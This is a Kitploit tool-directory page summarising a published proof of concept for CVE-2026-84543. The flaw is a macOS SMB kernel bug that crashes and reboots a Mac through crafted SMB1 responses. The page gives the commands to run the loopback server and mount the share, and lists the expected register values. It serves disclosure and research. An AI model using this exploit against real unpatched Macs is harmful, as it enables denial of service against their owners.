Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-84543 — Proof-of-concept and technical disclosure for CVE-2026-84543, a macOS SMB kernel vulnerability that triggers kernel panic via crafted SMB1 responses. | Kitploit
Tools/GitHubGitHub/petermalone/cve-2026-84543
Vulnerability AnalysisExploitationPapers & ResearchBinary Exploitation
GitHubpetermalone/cve-2026-84543

CVE-2026-84543

Proof-of-concept and technical disclosure for CVE-2026-84543, a macOS SMB kernel vulnerability that triggers kernel panic via crafted SMB1 responses.

View Repository
713h 43m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Proof of concept

This proof of concept is expected to kernel-panic and reboot an affected Mac.

The affected test builds used during research were macOS Tahoe 26.4 (25E246) and macOS 26.5 beta 4 (25F5068a). Apple fixed CVE-2026-84543 in macOS Golden Gate 27, Tahoe 26.7, and Sequoia 15.8.

Included PoC

smb1_unix_whoami_poc.py is the loopback evidence-capture server. It uses only Python's standard library and:

  • reads the current boot's _COMM_PAGE_ASB_TARGET_KERN_VALUE on Apple silicon;
  • serves a guest SMB1 share on loopback;
  • returns a crafted SMB_QFS_POSIX_WHOAMI (0x0202) response to create the inconsistent count/pointer state; and
  • returns UNIX_INFO2 (0x020B) attributes containing recognizable canary values for panic-register provenance.

Reproduction

In terminal A:

root@kitploit:~
cd poc
sudo python3 smb1_unix_whoami_poc.py \
  --bind 127.0.0.1 \
  --port 445 \
  --log /tmp/CVE-2026-84543-poc.log

Record the printed ASB_TARGET_KERN_VALUE; it is randomized at boot.

In terminal B:

root@kitploit:~
mkdir -p ~/mnt/cve-2026-84543
mount_smbfs //[email protected]/share ~/mnt/cve-2026-84543

Expected register relationships

With T equal to the boot's printed kernel-value canary:

root@kitploit:~
x8  = T
x9  = T
x10 = T & 0x1ff
x11 = T
x12 = T & 0x7fffffff
x13 = 0
x14 = (T & 0x7fffffff) - 1

The specific bits in x8, x9, and x11 establish provenance. The observed relationships provide a byte-for-byte link between the server's response fields and live kernel register state.

Download Tool